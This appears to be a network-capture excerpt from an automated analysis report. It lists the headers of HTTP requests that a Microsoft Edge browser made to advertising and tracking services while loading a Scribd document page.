Source: global traffic	HTTP traffic detected: GET /dna HTTP/1.1Host: dnacdn.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /newidsd HTTP/1.1Host: gem.gbc.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /newidsd HTTP/1.1Host: ag.gbc.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /check/106 HTTP/1.1Host: check.analytics.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_4aac52bd-6762-4a7e-902d-2ea9adf328d8&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/bt-rlink-storage-OAPAZjOc.html HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=278d49a0-7438-4d91-b279-4140b7a88103%252Chttps%25253A%25252F%25252Fids.ad.gt%25252Fapi%25252Fv1%25252Ftapad_match%25253Fid%25253DAU1D-0100-001739863208-59L27RBO-LEXM%252526tapad_id%25253D278d49a0-7438-4d91-b279-4140b7a88103%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /v1.0/parent/4d97a662ad/engagement/trigger/auction_end HTTP/1.1Host: pb-ing.ccgateway.netConnection: keep-aliveContent-Length: 2332sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: ccuid=f3ffd8df-60e7-492e-bada-9c7773cf1cd1
Source: global traffic	HTTP traffic detected: GET /sync?ssp=themediagrid&us_privacy=1-N- HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /configs/0ab198dd-b265-462a-ae36-74e163ad6159 HTTP/1.1Host: config.aps.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=39&mi=10&dpi=793790479&pt=17&dpn=1&jsver=5.09&iiqidtype=2&iiqpcid=98462f66-2862-485b-9a28-0b254f56e457&iiqpciddate=1739863210882&iiqcallcount=0&iiqfailcount=0&iiqnodata=false&iiqlocalstorageenabled=true&tsrnd=692_1739863210883&fbp=137264061&cttl=43200000&rrtt=0&dud=0&abtg=A&iiqppcc=0&vrref=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ref=www.scribd.com HTTP/1.1Host: api.intentiq.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=793790479&rnd=407267&iiqidtype=2&iiqpcid=98462f66-2862-485b-9a28-0b254f56e457&iiqpciddate=1739863210882&tsrnd=787_1739863210885&fbp=137264061&vrref=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&jsver=5.09 HTTP/1.1Host: sync.intentiq.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/js/user_sync.html?p=159196&userIdMacro=PM_UID&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D91%26advUuid%3DPM_UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ads.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?gdpr=&gdpr_consent=&us_privacy=1-N-&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /check/106 HTTP/1.1Host: check.analytics.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=278d49a0-7438-4d91-b279-4140b7a88103%252Chttps%25253A%25252F%25252Fids.ad.gt%25252Fapi%25252Fv1%25252Ftapad_match%25253Fid%25253DAU1D-0100-001739863208-59L27RBO-LEXM%252526tapad_id%25253D278d49a0-7438-4d91-b279-4140b7a88103%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_7fb5b5e5-fe03-4853-b9a4-c08f05008c91&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_7459a9b8-1486-4e4a-b30a-1f160c22b2d9&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_2c483b47-bf2b-4e11-a58c-5b96c7b774d9&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/getpixels?tagger_id=b9be9e1d9d5a9785a6417a9309e00232&url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&code=%27none%27 HTTP/1.1Host: pixels.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /js/pubcid/latest/pubcid.min.js HTTP/1.1Host: secure.cdn.fastclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /adsid/integrator.json?aos=https%3A%2F%2Fwww.scribd.com HTTP/1.1Host: pubads.g.doubleclick.netConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: x-afma-token-requester-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync-iframe?gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D150%26advUuid%3D%7BpartnerId%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_4aac52bd-6762-4a7e-902d-2ea9adf328d8&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?zcc=1&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1739863216170&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=sekindo&gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /ut/v3/prebid HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveContent-Length: 939sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /lt/c/16576/sync.min.js HTTP/1.1Host: tags.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /translator?source=prebid-client HTTP/1.1Host: hbopenbid.pubmatic.comConnection: keep-aliveContent-Length: 1664sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /live/liveCS.php?source=external&gdpr=0&gdpr_consent=&advId=98&advUuid=86f8e4fd-fa23-4973-aa3d-d0448088be1a HTTP/1.1Host: live.primis.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: csuuid=67b434a8abd6b
